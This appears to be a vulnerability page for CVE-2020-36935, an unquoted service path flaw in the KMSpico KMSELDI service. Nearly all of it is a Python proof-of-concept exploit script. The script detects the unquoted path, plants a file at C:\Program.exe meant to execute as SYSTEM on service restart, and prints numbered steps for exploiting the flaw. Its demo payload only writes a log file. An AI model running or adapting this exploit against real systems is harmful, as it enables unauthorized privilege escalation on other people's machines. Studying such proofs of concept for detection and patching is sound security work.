CVE-2020-36935 | KMSpico Service_KMS.exe 未引用服务路径权限提升漏洞

# CVE-2020-36935 PoC - KMSpico Unquoted Service Path # Author: Security Researcher # Target: KMSpico 17.1.0.0 Service KMSELDI # This PoC demonstrates the unquoted service path vulnerability import os import sys import subprocess import time def check_vulnerability(): """Check if the system is vulnerable to CVE-2020-36935""" service_name = "KMSELDI" malicious_path = r"C:\Program.exe" # Check if the vulnerable service exists try: result = subprocess.run( ["sc", "qc", service_name], capture_output=True, text=True ) if result.returncode == 0 and "BINARY_PATH_NAME" in result.stdout: print(f"[+] Service '{service_name}' found") # Check if the path is unquoted if "Program Files" in result.stdout and '"' not in result.stdout: print("[+] VULNERABLE: Service path is unquoted!") print("[+] Malicious executable can be placed at:", malicious_path) return True else: print("[-] Service path appears to be properly quoted") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a simple malicious executable for demonstration""" malicious_path = r"C:\Program.exe" payload = ''' @echo off rem CVE-2020-36935 - Malicious Payload rem This will execute with SYSTEM privileges echo [+] CVE-2020-36935 Payload Executed > C:\\temp\\cve_poc.txt date /t >> C:\\temp\\cve_poc.txt time /t >> C:\\temp\\cve_poc.txt echo [!] Running with elevated privileges >> C:\\temp\\cve_poc.txt ''' try: os.makedirs(r"C:\temp", exist_ok=True) with open(malicious_path, 'w') as f: f.write(payload) print(f"[+] Malicious executable created at: {malicious_path}") print("[!] In real attack, this would be a compiled executable") return True except PermissionError: print("[-] Requires administrator privileges to create malicious executable") return False except Exception as e: print(f"[-] Error: {e}") return False def main(): print("="*60) print("CVE-2020-36935 - KMSpico Unquoted Service Path Checker") print("="*60) if check_vulnerability(): print("\n[*] To exploit this vulnerability:") print(" 1. Place malicious executable at C:\\Program.exe") print(" 2. Wait for service restart or system reboot") print(" 3. Malicious code will execute with SYSTEM privileges") print("\n[*] For demonstration, creating sample payload...") create_malicious_executable() else: print("\n[-] System does not appear to be vulnerable") if __name__ == "__main__": main()